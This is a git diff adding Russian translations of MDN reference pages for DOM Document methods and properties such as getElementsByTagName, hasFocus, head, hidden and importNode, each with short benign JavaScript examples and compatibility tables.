+title: Document.getElementsByTagName()
+slug: Web/API/Document/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - Ссылки
+  - метод
+translation_of: Web/API/Document/getElementsByTagName
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">Возвращает {{domxref("HTMLCollection")}} элементов с указанным именем тега.</span> Поиск осуществляется по всему документу, включая корневой узел. Возвращаемая HTMLCollection живая, это значит что она автоматически обновляет сама себя чтобы оставаться синхронизированной с DOM деревом без необходимости вызова document.getElementByTagName() снова.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre>
+
+<ul>
+ <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учетом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li>
+ <li><code>name</code> строка представляющая собой имя элемента. Специальная строка "*" позволяет получить все элементы.</li>
+</ul>
+
+<div class="note"><strong>Примечание:</strong> <a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">Последняя W3C спецификация</a> говорит что <code>elements</code> является <code>HTMLCollection</code>; между тем, данный метод возвращает {{domxref("NodeList")}} в WebKit браузерах. См. {{bug(14869)}} для большей информации.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере, getElementByTagName() стартует из отдельного родительского элемента и ищет сверху-вниз рекурсивно по DOM начиная с родительского элемента просматривая  дочерние элементы на соответствие тегов параметру name.</p>
+
+<p>Отметим что когда узел в котором <code>getElementsByTagName()</code> был вызван не является узлом <code>document</code>, по факту используется метод {{domxref("element.getElementsByTagName()")}}.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;getElementsByTagName example&lt;/title&gt;
+  &lt;script&gt;
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName("p");
+      var num = allParas.length;
+      alert("There are " + num + " paragraph in this document");
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById("div1");
+      var div1Paras = div1.getElementsByTagName("p");
+      var num = div1Paras.length;
+      alert("There are " + num + " paragraph in #div1");
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById("div2");
+      var div2Paras = div2.getElementsByTagName("p");
+      var num = div2Paras.length;
+      alert("There are " + num + " paragraph in #div2");
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body style="border: solid green 3px"&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+      &lt;p&gt;Some div2 text&lt;/p&gt;
+      &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;button onclick="getAllParaElems();"&gt;
+    show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div1ParaElems();"&gt;
+    show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div2ParaElems();"&gt;
+    show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Когда вызывается на HTML document, <code>getElementsByTagName()</code> переводит в нижний регистр свой аргумент перед работой. Это может быть неожиданным при попытке найти соответствие для camelCase SVG элементов в поддереве HTML документа. В таком случае может быть полезен {{Domxref("document.getElementsByTagNameNS()")}}. См. также {{Bug(499656)}}.</p>
+
+<p><code>document.getElementsByTagName()</code> подобен {{domxref("element.getElementsByTagName()")}}, за исключением того что поиск охватывает весь документ.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/document/getselection/index.html b/files/ru/web/api/document/getselection/index.html
new file mode 100644
index 0000000000..e5ce193c90
--- /dev/null
+++ b/files/ru/web/api/document/getselection/index.html
@@ -0,0 +1,8 @@
+---
+title: Document.getSelection()
+slug: Web/API/Document/getSelection
+translation_of: Web/API/DocumentOrShadowRoot/getSelection
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Этот метод работает в точности так же, как {{domxref("Window.getSelection()")}}; он возвращает объект {{domxref("Selection")}}, в котором содержатся данные о тексте, выделенном в документе на данный момент.</p>
diff --git a/files/ru/web/api/document/hasfocus/index.html b/files/ru/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..e0a3a5114b
--- /dev/null
+++ b/files/ru/web/api/document/hasfocus/index.html
@@ -0,0 +1,146 @@
+---
+title: Document.hasFocus()
+slug: Web/API/Document/hasFocus
+tags:
+  - API
+  - DOM
+  - Фокус
+  - метод
+translation_of: Web/API/Document/hasFocus
+---
+<div>{{APIRef}}</div>
+
+<div>Метод <code><strong>Document.hasFocus()</strong></code> возвращает значение {{jsxref("Boolean")}}, <span id="result_box" lang="ru"><span>указывающее имеет</span> <span>ли документ</span> <span>или</span> <span>любой элемент</span> <span>внутри документа</span> <span>фокус.</span> <span>Этот</span> <span>метод может быть использован</span><span>, чтобы</span> <span>определить,</span> <span>имеет</span> <span>ли</span> <span>активный элемент</span> <span>в документе </span><span>фокус.</span></span></div>
+
+<div class="note">
+<p>При просмотре документа элемент с фокусом всегда является активным элементом документа, но активный элемент не обязательно должен иметь фокус. Например, активный элемент внутри всплывающего окна, которое находится не на переднем плане, не имеет фокус.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">focused = document.hasFocus();</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>false</code> если активный элемент в документе не имеет фокуса; <code>true</code> если активный элемент в документе имеет фокус.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html;highlight:[17]">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;TEST&lt;/title&gt;
+&lt;style&gt;
+#message { font-weight: bold; }
+&lt;/style&gt;
+&lt;script&gt;
+setInterval( checkPageFocus, 200 );
+
+function checkPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "Документ имеет фокус.";
+  } else {
+    info.innerHTML = "Документ не имеет фокус.";
+  }
+}
+
+function openWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    "width=640,
+    height=300,
+    left=150,
+    top=260"
+  );
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;JavaScript hasFocus пример&lt;/h1&gt;
+  &lt;div id="message"&gt;<span class="short_text" id="result_box" lang="ru"><span>Ожидание</span> <span>действий со стороны пользователя</span></span>&lt;/div&gt;
+  &lt;div&gt;&lt;button onclick="openWindow()"&gt;Открыть новое окно&lt;/button&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>30</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>6.0</td>
+   <td>12.10</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.9") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">Using the Page Visibility API</a></li>
+</ul>
diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html
new file mode 100644
index 0000000000..8645de05b4
--- /dev/null
+++ b/files/ru/web/api/document/head/index.html
@@ -0,0 +1,87 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/head
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code>&lt;head&gt;</code>, будет возвращен первый из них.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>var objRef</em> = document.head;
+</pre>
+
+
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLHeadElement")}}.</p>
+
+
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="notranslate"><code>&lt;!doctype html&gt;
+&lt;head id="my-document-head"&gt;
+  &lt;title&gt;Example: using document.head&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;script&gt;
+  var theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+
+  console.log( theHead === document.querySelector("head") ); // true
+&lt;/script&gt;</code></pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p><code>document.head</code> доступно только для чтения. Присвоить значение этому свойству нельзя. При попытке это сделать ошибка вызвана не будет, только если вы не используете <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict Mode</a>. В данном случае будет вызвано {{jsxref("TypeError")}} .</p>
+
+
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.head")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/height/index.html b/files/ru/web/api/document/height/index.html
new file mode 100644
index 0000000000..f3735ba2f8
--- /dev/null
+++ b/files/ru/web/api/document/height/index.html
@@ -0,0 +1,55 @@
+---
+title: Document.height
+slug: Web/API/Document/height
+tags:
+  - Document
+  - HTML
+  - Obsolete
+  - Property
+translation_of: Web/API/Document/height
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<div class="note">
+<p><strong>Заметка: </strong>Начиная с  {{Gecko("6.0")}},<code> document.height </code> больше не поддерживается. Используйте <code>document.body.clientHeight</code>. Также смотрите: {{domxref("element.clientHeight")}}.</p>
+</div>
+
+<p>Возвращает высоту {{domxref("document")}} объекта. В большинстве случаев, она соответствует {{HTMLElement("body")}} элементу документа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox"><em>height_value</em> = document.height
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// вывести высоту документа
+alert(document.height);
+</pre>
+
+<h2 id="Альтернативы">Альтернативы</h2>
+
+<pre class="syntaxbox">document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>HTML5</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.height")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.width")}}</li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/hidden/index.html b/files/ru/web/api/document/hidden/index.html
new file mode 100644
index 0000000000..10dd2f8171
--- /dev/null
+++ b/files/ru/web/api/document/hidden/index.html
@@ -0,0 +1,43 @@
+---
+title: Document.hidden
+slug: Web/API/Document/hidden
+translation_of: Web/API/Document/hidden
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Доступное только для чтения свойство <code><strong>Document.hidden</strong></code> возвращает булево значение, показывающее является ли страница скрытой или нет.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <em>boolean</em> = document.hidden</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // Modify behavior...
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.hidden")}}</p>
diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..11cfa529ad
--- /dev/null
+++ b/files/ru/web/api/document/importnode/index.html
@@ -0,0 +1,91 @@
+---
+title: Document.importNode()
+slug: Web/API/Document/importNode
+translation_of: Web/API/Document/importNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создает копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p>
+
+<p>Импортированный узел пока еще не включен в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например,  {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p>
+
+<p>В отличие от {{domxref("document.adoptNode()")}}, исходный узел не удаляется из исходного документа. Импортированный узел является клоном оригинала.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>node</var> = <var>document</var>.importNode(<var>externalNode</var>, <var>deep</var>);
+</pre>
+
+<dl>
+ <dt><var>node</var></dt>
+ <dd>Копируемый узел из области видимости импортируемого документа . Свойство {{domxref("Node.parentNode")}} узла = <code>null</code>, до тех пор, пока он не будет вставлен в дерево документа.</dd>
+ <dt><var>externalNode</var></dt>
+ <dd>Внешний <code>Node</code> или <code>DocumentFragment</code>, который импортируется в настоящий документ.</dd>
+ <dt><var>deep</var></dt>
+ <dd>Булеан, контролирующий, необходимо ли импортировать всё DOM поддерево узла  <var>externalNode</var>.
+ <ul>
+  <li>Если <em>deep </em>установлен в <code>true</code>, <var>узел externalNode</var> и все его потомки будут скопированы.</li>
+  <li>Если <em>deep </em>установлен в <code>false</code>, ипморируется только <var>externalNode</var>  — новый узел не будет содержать потомков.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In the DOM4 specification, <var>deep</var> was an optional argument with a default value of <code>true</code>.</p>
+
+<p>This default has changed in the latest spec — the new default value is <strong><code>false</code></strong>. Though it's still an optional argument, you should always provide the <code>deep</code> argument for backward <em>and</em> forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}, the console warns developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var iframe = document.querySelector("iframe");
+var oldNode = iframe.contentWindow.document.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+
+
+<p>Nodes from external documents should be cloned using <a href="/en-US/docs/Web/API/Document/importNode" title="The Document object's importNode() method creates a copy of a Node or DocumentFragment from another document, to be inserted into the current document later."><code>document.importNode()</code></a> (or adopted using <a href="/en-US/docs/Web/API/Document/adoptNode" title="Document.adoptNode() transfers a node from another document into the method's document. The adopted node and its subtree is removed from its original document (if any), and its ownerDocument is changed to the current document. The node can then be inserted into the current document."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/en-US/docs/Web/API/Node/ownerDocument" title="The Node.ownerDocument read-only property returns the top-level document object for this node."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p>
+
+
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.importNode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.adoptNode()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html
new file mode 100644
index 0000000000..a219bd597c
--- /dev/null
+++ b/files/ru/web/api/document/index.html
@@ -0,0 +1,405 @@
+---
+title: Document
+slug: Web/API/Document
+tags:
+  - DOM
+translation_of: Web/API/Document
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div></div>
+
+<p>Каждая веб-страница, которая загружается в браузер, имеет свой собственный объект <strong>document</strong>. Интерфейс документа служит точкой входа для получения содержимого веб-страницы (всего <a href="/en-US/docs/Using_the_W3C_DOM_Level_1_Core" title="Using_the_W3C_DOM_Level_1_Core">DOM</a> - дерева, включая такие элементы как {{HTMLElement("body")}} и {{HTMLElement("table")}}), <span id="result_box" lang="ru"><span>а также обеспечивает функциональность</span><span>, которая является</span> <span>глобальной для</span> <span>документа</span>, <span>например, для получения</span> <span>URL-адреса </span><span>страницы</span> <span>и</span>ли <span>создания новых элементов</span> <span>в документе</span></span>).</p>
+
+<p>Объект <strong>document</strong> может быть получен из разных API:</p>
+
+<ul>
+ <li>Чаще всего используется прямой доступ к объекту <strong>document</strong> из сценариев <a href="/en-US/docs/HTML/Element/Script" title="HTML/Element/Script">scripts</a> которые подгружаются документом. (Этот же объект доступен как {{domxref("window.document")}}.)</li>
+ <li>Через свойство <code><a href="/en-US/docs/Web/API/HTMLIFrameElement#Properties" title="DOM/HTMLIFrameElement#Properties">contentDocument</a></code> объекта iframe.</li>
+ <li>Как ответ <a href="/en-US/docs/Web/API/XMLHttpRequest#responseXML" title="XMLHttpRequest#responseXML"><code>responseXML</code></a> объекта  <a href="/en-US/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest.</code></a></li>
+ <li>Доступ к документу может быть получен из элемента или узла через свойство  {{domxref("Node.ownerDocument","ownerDocument")}}.</li>
+</ul>
+
+<p>В зависимости от вида документа (т.е. <a href="/en-US/docs/HTML" title="HTML">HTML</a> или <a href="/en-US/docs/XML" title="XML">XML</a>) у объекта <strong>document</strong> могут быть доступны разные API.</p>
+
+<ul>
+ <li>Все объекты документов реализуют интерфейс <a href="http://dom.spec.whatwg.org/#interface-document"><code>Document</code></a> (и следовательно {{domxref("Node")}} и {{domxref("EventTarget")}} интерфейсы). Таким образом основные свойства и методы, описанные на этой странице, доступны для всех видов документов.</li>
+ <li>В современных браузерах некоторые документы (т.е. те, которые содержат контент <code>text/html</code>) также реалируют  {{domxref("HTMLDocument")}} интерфейс.</li>
+ <li>В современных браузерах SVG документы реализуют {{domxref("SVGDocument")}} интерфейс.</li>
+</ul>
+
+<p>В будущем все эти интерфейсы будут сведены в один интерфейс - <code>Document</code>.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<div class="note">
+<p><strong>Примечание:</strong> Интерфейс <code>Document</code> наследует также интерфейсы {{domxref("Node")}} и {{domxref("EventTarget")}}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>Обеспечивает доступ ко всем элементам с идентификаторами (id). Это нестандартный интерфейс, вместо него рекомендуется использовать метод {{domxref("Document.getElementById()")}}.</dd>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>Используется с {{domxref("document.load")}} чтобы обозначить асинхронный запрос.</dd>
+ <dt>{{domxref("Document.characterSet")}} {{experimental_inline}}</dt>
+ <dd>Возвращает кодировку документа.</dd>
+ <dt>{{domxref("Document.compatMode")}} {{experimental_inline}}</dt>
+ <dd>Указывает в каком режиме (Quirks или Strict) рендерился документ.</dd>
+ <dt>{{domxref("Document.contentType")}} {{experimental_inline}}</dt>
+ <dd>Возвращает Content-Type из MIME заголовка текущего документа.</dd>
+ <dt>{{domxref("Document.doctype")}}</dt>
+ <dd>Возвращает Document Type Definition (DTD) текущего документа .</dd>
+ <dt>{{domxref("Document.documentElement")}}</dt>
+ <dd>Возвращает Element, который является первым дочерним элементом документа. Для HTML документов это HTML элемент.</dd>
+ <dt>{{domxref("Document.documentURI")}}</dt>
+ <dd>Возвращает URL документа.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>Должен вернуть  {{domxref("DOMConfiguration")}} объект.</dd>
+ <dt>{{domxref("Document.implementation")}}</dt>
+ <dd>Возвращает DOM implementation связанную с текущим документом.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Возвращает кодировку, которая использовалась во время парсинга документа.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}}</dt>
+ <dd>Возвращает имя последнего включенного набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путем установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
+ <dd><code>true</code> если этот документ является синтетическим, например, отдельные изображения, видео, аудио файлы, или тому подобные.</dd>
+ <dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> когда документ находится в  {{domxref("Using_full-screen_mode","full-screen mode")}}.</dd>
+ <dt>{{domxref("Document.mozFullScreenElement")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd>Элемент, который в данный момент находится в полноэкранном режиме для этого документа.</dd>
+ <dt>{{domxref("Document.mozFullScreenEnabled")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> if calling {{domxref("element.mozRequestFullscreen()")}} would succeed in the curent document.</dd>
+ <dt>{{domxref("Document.pointerLockElement")}} {{experimental_inline}}</dt>
+ <dd>Returns the element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}}</dt>
+ <dd>Returns the preferred style sheet set as specified by the page author.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>Returns which style sheet set is currently in use.</dd>
+ <dt>{{domxref("Document.styleSheets")}}</dt>
+ <dd>Returns a list of the style sheet objects on the current document.</dd>
+ <dt>{{domxref("Document.styleSheetSets")}}</dt>
+ <dd>Returns a list of the style sheet sets available on the document.</dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Returns the encoding as determined by the XML declaration.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns the version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p>
+
+<h3 id="Extension_for_HTML_documents">Extension for HTML documents</h3>
+
+<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:</p>
+
+<dl>
+ <dt>{{domxref("Document.activeElement")}}</dt>
+ <dd>Returns the currently focused element.</dd>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Returns or sets the color of active links in the document body.</dd>
+ <dt>{{domxref("Document.anchors")}}</dt>
+ <dd>Returns a list of all of the anchors in the document.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt>
+ <dd>Returns an ordered list of the applets within a document.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the background color of the current document.</dd>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd>Returns the {{HTMLElement("body")}} element of the current document.</dd>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>Returns a semicolon-separated list of the cookies for that document or sets a single cookie.</dd>
+ <dt>{{domxref("Document.defaultView")}}</dt>
+ <dd>Returns a reference to the window object.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
+ <dd>Gets/sets the ability to edit the whole document.</dd>
+ <dt>{{domxref("Document.dir")}}</dt>
+ <dd>Gets/sets directionality (rtl/ltr) of the document.</dd>
+ <dt>{{domxref("Document.domain")}}</dt>
+ <dd>Returns the domain of the current document.</dd>
+ <dt>{{domxref("Document.embeds")}}</dt>
+ <dd>Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.</dd>
+ <dt>{{domxref("Document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the foreground color, or text color, of the current document.</dd>
+ <dt>{{domxref("Document.forms")}}</dt>
+ <dd>Returns a list of the {{HTMLElement("form")}} elements within the current document.</dd>
+ <dt>{{domxref("Document.head")}}</dt>
+ <dd>Returns the {{HTMLElement("head")}} element of the current document.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Gets/sets the height of the current document.</dd>
+ <dt>{{domxref("Document.images")}}</dt>
